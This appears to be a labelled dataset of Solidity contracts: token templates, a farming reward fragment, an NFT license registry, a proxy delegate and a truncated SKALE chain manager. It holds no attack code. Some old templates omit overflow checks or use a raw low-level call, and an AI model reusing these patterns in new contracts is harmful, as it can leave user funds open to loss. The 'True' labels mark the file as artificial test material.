// Apply tax
uint256 taxPercent = claimTaxPercent();
uint256 tax = taxPercent > 0 ? reward.mul(taxPercent).div(100) : 0;
uint256 net = reward.sub(tax);
// Send reward
token.mint(msg.sender, net);
if (tax > 0) {
// Burn taxed token
token.mint(BURN_ADDRESS, tax);
}
emit Claimed(msg.sender, reward);
}
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return accountInfos[account].balance;
}
function burnedTokenAmount() public view returns (uint256) {
return token.balanceOf(BURN_ADDRESS);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored
.add(
lastRewardTimestamp()
.sub(lastUpdateTimestamp)
.mul(rewardRate)
.mul(1e18)
.div(_totalSupply)
);
}
function lastRewardTimestamp() public view returns (uint256) {
return Math.min(block.timestamp, floodingTimestamp);
}
function rewardEarned(address account) public view returns (uint256) {
return accountInfos[account].balance.mul(
rewardPerToken().sub(accountInfos[account].rewardPerTokenPaid)
)
.div(1e18)
.add(accountInfos[account].reward);
}
// Token price in eth
function tokenPrice() public view returns (uint256) {
uint256 ethAmount = IERC20(weth).balanceOf(pairAddress);
uint256 tokenAmount = IERC20(token).balanceOf(pairAddress);
return tokenAmount > 0 ?
// Current price
ethAmount.mul(1e18).div(tokenAmount) :
// Initial price
(uint256(1e18).div(2));
}
function claimTaxPercent() public view returns (uint256) {
if (block.timestamp < farmingStartTimestamp + 5 days) {
return 75;
} else if (block.timestamp < farmingStartTimestamp + 10 days) {
return 50;
} else if (block.timestamp < farmingStartTimestamp + 15 days) {
return 25;
} else {
return 0;
}
}
function _updateReward(address account) internal {
rewardPerTokenStored = rewardPerToken();
lastUpdateTimestamp = lastRewardTimestamp();
if (account != address(0)) {
accountInfos[account].reward = rewardEarned(account);
accountInfos[account].rewardPerTokenPaid = rewardPerTokenStored;
}
}
// Do flooding when timestamp reached
function _flooding() internal {
if (block.timestamp >= floodingTimestamp) {
rewardAllocation = rewardAllocation.add(1000 * 1e18);
rewardRate = rewardAllocation.div(drift);
floodingTimestamp = floodingTimestamp.add(drift);
_updateReward(msg.sender);
emit Flooding(rewardAllocation);
}
}
// Check if farming is started
function _checkFarming() internal {
require(farmingStartTimestamp != 0, 'Please wait until farming starts');
if (!farmingStarted) {
farmingStarted = true;
floodingTimestamp = block.timestamp.add(drift);
lastUpdateTimestamp = block.timestamp;
}
}
// Start farming
// Only dev can call this function
function start() public {
require(msg.sender == treasury, 'Only dev can start farming');
require(farmingStartTimestamp == 0, 'Farming has already started');
farmingStartTimestamp = block.timestamp;
}
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] |
pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract CryptoSneakersCoin is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function CryptoSneakersCoin() {
balances[msg.sender] = 10000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 10000000000000000; // Update total supply (1000 for example) (CHANGE THIS)
name = "CryptoSneakersCoin"; // Set the name for display purposes (CHANGE THIS)
decimals = 8; // Amount of decimals for display purposes (CHANGE THIS)
symbol = "CSNK"; // Set the symbol for display purposes (CHANGE THIS)
unitsOneEthCanBuy = 0; // Set the price of your token for the ICO (CHANGE THIS)
fundsWallet = msg.sender; // The owner of the contract gets ETH
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | True | [
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pragma solidity ^0.5.16;
import "./GErc20.sol";
/**
* @title GErc20Delegate Contract
* @notice GTokens which wrap an EIP-20 underlying and are delegated to
*/
contract GErc20Delegate is GErc20, GDelegateInterface {
/**
* @notice Construct an empty delegate
*/
constructor() public {}
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public {
// Shh -- currently unused
data;
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == admin, "only the admin may call _becomeImplementation");
}
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public {
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == admin, "only the admin may call _resignImplementation");
}
} | True | [
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pragma solidity ^0.4.13;
/*News platform System change thet world**/
//Math operations with safety checks that throw on error
library SafeMath {
// multiplication
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
//division
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
//subtraction
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
//addition
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
//the main NPTToken contract
contract NPTToken is StandardToken {
string public constant name = "News Platform Token";
string public constant symbol = "NPT";
uint8 public constant decimals = 10;
uint256 public constant INITIAL_SUPPLY = 2500000000 * (10 ** uint256(decimals));
function NPTToken(address wallet) {
balances[wallet] = INITIAL_SUPPLY;
totalSupply = INITIAL_SUPPLY;
}
} | True | [
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102
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] |
pragma solidity ^0.8.6;
/*
YOUR BASTARD, YOUR CALL!!!
AS YOU KNOW, IF YOU ARE HOLDER OF A BASTARD (AKA BGAN, OR BGANPUNK), YOU CAN DO ANYTHING YOU WANT WITH IT.
THIS OFFICIAL SMART CONTRACT EXTENDS IT ONE STEP FURTHER, NOW YOU CAN WRITE YOUR OWN LICENSE FOR YOUR BASTARD!!!
YOU CAN EITHER STORE WHOLE TEXT ON-CHAIN OR POINT TO AN URL (WEBSITE, SERVER, IPFS, ARWEAVE ETC)
I WILL GIVE YOU EXAMPLES ON HOW YOU CAN USE THIS DATA FOR YOUR BASTARD:
YOU CAN WRITE WHICH PERSON/DAO/WHATEVER YOU GIVE PERMISSION TO USE IT FOR SPECIFIC USE CASES
CLAIM THAT THIS BASTARD IS PUBLIC DOMAIN
OR CAN SAY HI TO YOUR FRIENDS & BELOVED ONES
OR USE HERE AS A CANVAS FOR YOUR TEXTS
OR A MEDIUM FOR YOUR CONCEPTUAL PIECE
OR A TEXT SCORE FOR A MUSICAL PERFORMANCE
OR FILL IT WITH YOUR JUNK
OR ASCII COPYPASTA
OR POEM
OR YOUR FAVOURITE BASTARDOUS FOOD RECEIPT
OR BASTARD LORE / ORIGIN STORY YOU MADE UP
OR MORSE CODE
OR AN ULTRA MEGA META SHIT
OR A RIDDLE
OR YOUR NUDES
OR A LOVE LETTER
OR A MATH EQUATION THAT WILL CHANGE EVERYTHING FOREVER
OR YOUR ENCRYPTED MESSAGE THAT NO ONE WILL TRY TO CRACK
ROAST YOUR BASTARD OR FLATTER
CLAIM YOUR BASTARD AS YOUR COUNTRY FLAG
PERFORM A RITUAL
IF YOU WANNA LOCK THE TEXT FOREVER, YOU GOTTA FAREWELL WITH YOUR BASTARD AND TRANSFER THEM TO A WALLET THAT NOBODY OWNS.
IN SHORT
DO WHATEVER YOU SEE FIT
IT IS ACTUALLY A PLAYGROUND. YOU ARE PART OF A SOCIAL EXPERIMENT.
LESGOOOOOOOOOOOOOOOOOOOO 1 2 3 4
BE COOL WITH PEOPLE REMIXING YOUR BASTARD, SUPPORT CREATIVITY
NEW OWNER SHOULD NOT ASK FOR RETROSPECTIVE CLAIM OR BAN. NEW RULES DEAL WITH THINGS FROM THE MOMENT LICENCE IS UPDATED.
DO NOT BE A DOUCH PLS. BE A NICE BASTARD
EXPLORE YOUR ARTISTRY!
V I B E
LISTEN TO PLUNDERPHONICS BY JOHN OSWALD
https://bastardganpunks.club
https://discord.gg/bganpunks
https://berkozdemir.com
https://twitter.com/berkozdemir
ALSO VISIT https://allbastards.com/ BY ROSCO KALIS
------------
hey. i'm caner aka memorycollect0r.
i actually made an ultra mega hyper intergalactic epic masterpiece license contract, but berk trimmed all cool extra features saying the functions cost so much gas. F U BERK.
thx for using. see ya.
contact: [email protected] - twitter.com/memorycollect0r
*/
interface BASTARDCONTRACT {
function ownerOf(uint id) external view returns (address);
}
contract YOURBASTARDYOURCALL {
address public constant V1ADDRESS = 0x9126B817CCca682BeaA9f4EaE734948EE1166Af1;
address public constant V2ADDRESS = 0x31385d3520bCED94f77AaE104b406994D8F2168C;
mapping (uint256 => string) V1BASTARDLICENSES;
mapping (uint256 => string) V2BASTARDLICENSES;
event LicenseChanged(address _from, uint8 _gen, uint256 _tokenId);
event LicenseRemoved(address _from, uint8 _gen, uint256 _tokenId);
/*
EXAMPLE
(2, 4444, "THIS BASTARD IS AMAZING") - BGANPUNKV1, ID 4444, ONCHAIN TEXT
(1,10001, "https://gateway.pinata.cloud/ipfs/QmccPaKWuFcQGyXy778S2NfeUuVWyaVorrBnewXKwG2Kg4") - BGANPUNKV2, ID 10001, IPFS link
*/
function setLicenseForBASTARD(uint8 _version, uint _id, string memory _text) external {
require(ownerOf(_version, _id) == msg.sender, "HEY, YOU CAN NOT CHANGE LICENSE FOR A BASTARD YOU DON'T HOLD!");
if(_version == 1){
V1BASTARDLICENSES[_id] = _text;
emit LicenseChanged(msg.sender, _version, _id );
}
else if(_version == 2){
V2BASTARDLICENSES[_id] = _text;
emit LicenseChanged(msg.sender, _version, _id );
}
else {
revert("DAFUQ IS THIS");
}
}
function removeLicenseForBastard(uint8 _version, uint _id) external {
require(ownerOf(_version, _id) == msg.sender, "HEY, YOU CAN NOT CHANGE LICENSE FOR A BASTARD YOU DON'T HOLD!");
if(_version == 1){
V1BASTARDLICENSES[_id] = "";
} else if(_version == 2){
V2BASTARDLICENSES[_id] = "";
} else {
revert("NOPE");
}
emit LicenseRemoved(msg.sender, _version, _id);
}
function showLicenseForBASTARD(uint8 _version,uint _id) external view returns(string memory) {
if(_version == 1){
return V1BASTARDLICENSES[_id];
}
if(_version == 2){
return V2BASTARDLICENSES[_id];
}
revert("INVALID PARAMS BRO");
}
function ownerOf(uint8 _version, uint _id) public view returns(address) {
if(_version == 1){
return BASTARDCONTRACT(V1ADDRESS).ownerOf(_id);
}
if(_version == 2){
return BASTARDCONTRACT(V2ADDRESS).ownerOf(_id);
}
return address(0);
}
} | True | [
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT81575' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT81575
// Name : ADZbuzz Slowthecookdown.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT81575";
name = "ADZbuzz Slowthecookdown.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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// SPDX-License-Identifier: AGPL-3.0-only
/*
Schains.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.11;
import "@skalenetwork/skale-manager-interfaces/ISchains.sol";
import "@skalenetwork/skale-manager-interfaces/ISkaleVerifier.sol";
import "@skalenetwork/skale-manager-interfaces/ISkaleDKG.sol";
import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol";
import "@skalenetwork/skale-manager-interfaces/IKeyStorage.sol";
import "@skalenetwork/skale-manager-interfaces/INodeRotation.sol";
import "@skalenetwork/skale-manager-interfaces/IWallets.sol";
import "./Permissions.sol";
import "./ConstantsHolder.sol";
import "./utils/FieldOperations.sol";
/**
* @title Schains
* @dev Contains functions to manage Schains such as Schain creation,
* deletion, and rotation.
*/
contract Schains is Permissions, ISchains {
using AddressUpgradeable for address;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.Bytes32Set;
struct SchainParameters {
uint lifetime;
uint8 typeOfSchain;
uint16 nonce;
string name;
address originator;
SchainOption[] options;
}
// schainHash => Set of options hashes
mapping (bytes32 => EnumerableSetUpgradeable.Bytes32Set) private _optionsIndex;
// schainHash => optionHash => schain option
mapping (bytes32 => mapping (bytes32 => SchainOption)) private _options;
bytes32 public constant SCHAIN_CREATOR_ROLE = keccak256("SCHAIN_CREATOR_ROLE");
modifier schainExists(ISchainsInternal schainsInternal, bytes32 schainHash) {
require(schainsInternal.isSchainExist(schainHash), "The schain does not exist");
_;
}
/**
* @dev Allows SkaleManager contract to create an Schain.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - Schain type is valid.
* - There is sufficient deposit to create type of schain.
* - If from is a smart contract originator must be specified
*/
function addSchain(address from, uint deposit, bytes calldata data) external override allow("SkaleManager") {
SchainParameters memory schainParameters = abi.decode(data, (SchainParameters));
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder());
uint schainCreationTimeStamp = constantsHolder.schainCreationTimeStamp();
uint minSchainLifetime = constantsHolder.minimalSchainLifetime();
require(block.timestamp >= schainCreationTimeStamp, "It is not a time for creating Schain");
require(
schainParameters.lifetime >= minSchainLifetime,
"Minimal schain lifetime should be satisfied"
);
require(
getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit,
"Not enough money to create Schain");
_addSchain(from, deposit, schainParameters);
}
/**
* @dev Allows the foundation to create an Schain without tokens.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - sender is granted with SCHAIN_CREATOR_ROLE
* - Schain type is valid.
* - If schain owner is a smart contract schain originator must be specified
*/
function addSchainByFoundation(
uint lifetime,
uint8 typeOfSchain,
uint16 nonce,
string calldata name,
address schainOwner,
address schainOriginator,
SchainOption[] calldata options
)
external
payable
override
{
require(hasRole(SCHAIN_CREATOR_ROLE, msg.sender), "Sender is not authorized to create schain");
SchainParameters memory schainParameters = SchainParameters({
lifetime: lifetime,
typeOfSchain: typeOfSchain,
nonce: nonce,
name: name,
originator: schainOriginator,
options: options
});
address _schainOwner;
if (schainOwner != address(0)) {
_schainOwner = schainOwner;
} else {
_schainOwner = msg.sender;
}
_addSchain(_schainOwner, 0, schainParameters);
bytes32 schainHash = keccak256(abi.encodePacked(name));
IWallets(payable(contractManager.getContract("Wallets"))).rechargeSchainWallet{value: msg.value}(schainHash);
}
/**
* @dev Allows SkaleManager to remove an schain from the network.
* Upon removal, the space availability of each node is updated.
*
* Emits an {SchainDeleted} event.
*
* Requirements:
*
* - Executed by schain owner.
*/
function deleteSchain(address from, string calldata name) external override allow("SkaleManager") {
ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal"));
bytes32 schainHash = keccak256(abi.encodePacked(name));
require(
schainsInternal.isOwnerAddress(from, schainHash),
"Message sender is not the owner of the Schain"
);
_deleteSchain(name, schainsInternal);
}
/**
* @dev Allows SkaleManager to delete any Schain.
* Upon removal, the space availability of each node is updated.
*
* Emits an {SchainDeleted} event.
*
* Requirements:
*
* - Schain exists.
*/
function deleteSchainByRoot(string calldata name) external override allow("SkaleManager") {
_deleteSchain(name, ISchainsInternal(contractManager.getContract("SchainsInternal")));
}
/**
* @dev Allows SkaleManager contract to restart schain creation by forming a
* new schain group. Executed when DKG procedure fails and becomes stuck.
*
* Emits a {NodeAdded} event.
*
* Requirements:
*
* - Previous DKG procedure must have failed.
* - DKG failure got stuck because there were no free nodes to rotate in.
* - A free node must be released in the network.
*/
function restartSchainCreation(string calldata name) external override allow("SkaleManager") {
INodeRotation nodeRotation = INodeRotation(contractManager.getContract("NodeRotation"));
bytes32 schainHash = keccak256(abi.encodePacked(name));
ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG"));
require(!skaleDKG.isLastDKGSuccessful(schainHash), "DKG success");
ISchainsInternal schainsInternal = ISchainsInternal(
contractManager.getContract("SchainsInternal"));
require(schainsInternal.isAnyFreeNode(schainHash), "No free Nodes for new group formation");
uint newNodeIndex = nodeRotation.selectNodeToGroup(schainHash);
skaleDKG.openChannel(schainHash);
emit NodeAdded(schainHash, newNodeIndex);
}
/**
* @dev Checks whether schain group signature is valid.
*/
function verifySchainSignature(
uint signatureA,
uint signatureB,
bytes32 hash,
uint counter,
uint hashA,
uint hashB,
string calldata schainName
)
external
view
override
returns (bool)
{
ISkaleVerifier skaleVerifier = ISkaleVerifier(contractManager.getContract("SkaleVerifier"));
ISkaleDKG.G2Point memory publicKey = G2Operations.getG2Zero();
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
if (
INodeRotation(contractManager.getContract("NodeRotation")).isNewNodeFound(schainHash) &&
INodeRotation(contractManager.getContract("NodeRotation")).isRotationInProgress(schainHash) &&
ISkaleDKG(contractManager.getContract("SkaleDKG")).isLastDKGSuccessful(schainHash)
) {
publicKey = IKeyStorage(
contractManager.getContract("KeyStorage")
).getPreviousPublicKey(
schainHash
);
} else {
publicKey = IKeyStorage(
contractManager.getContract("KeyStorage")
).getCommonPublicKey(
schainHash
);
}
return skaleVerifier.verify(
ISkaleDKG.Fp2Point({
a: signatureA,
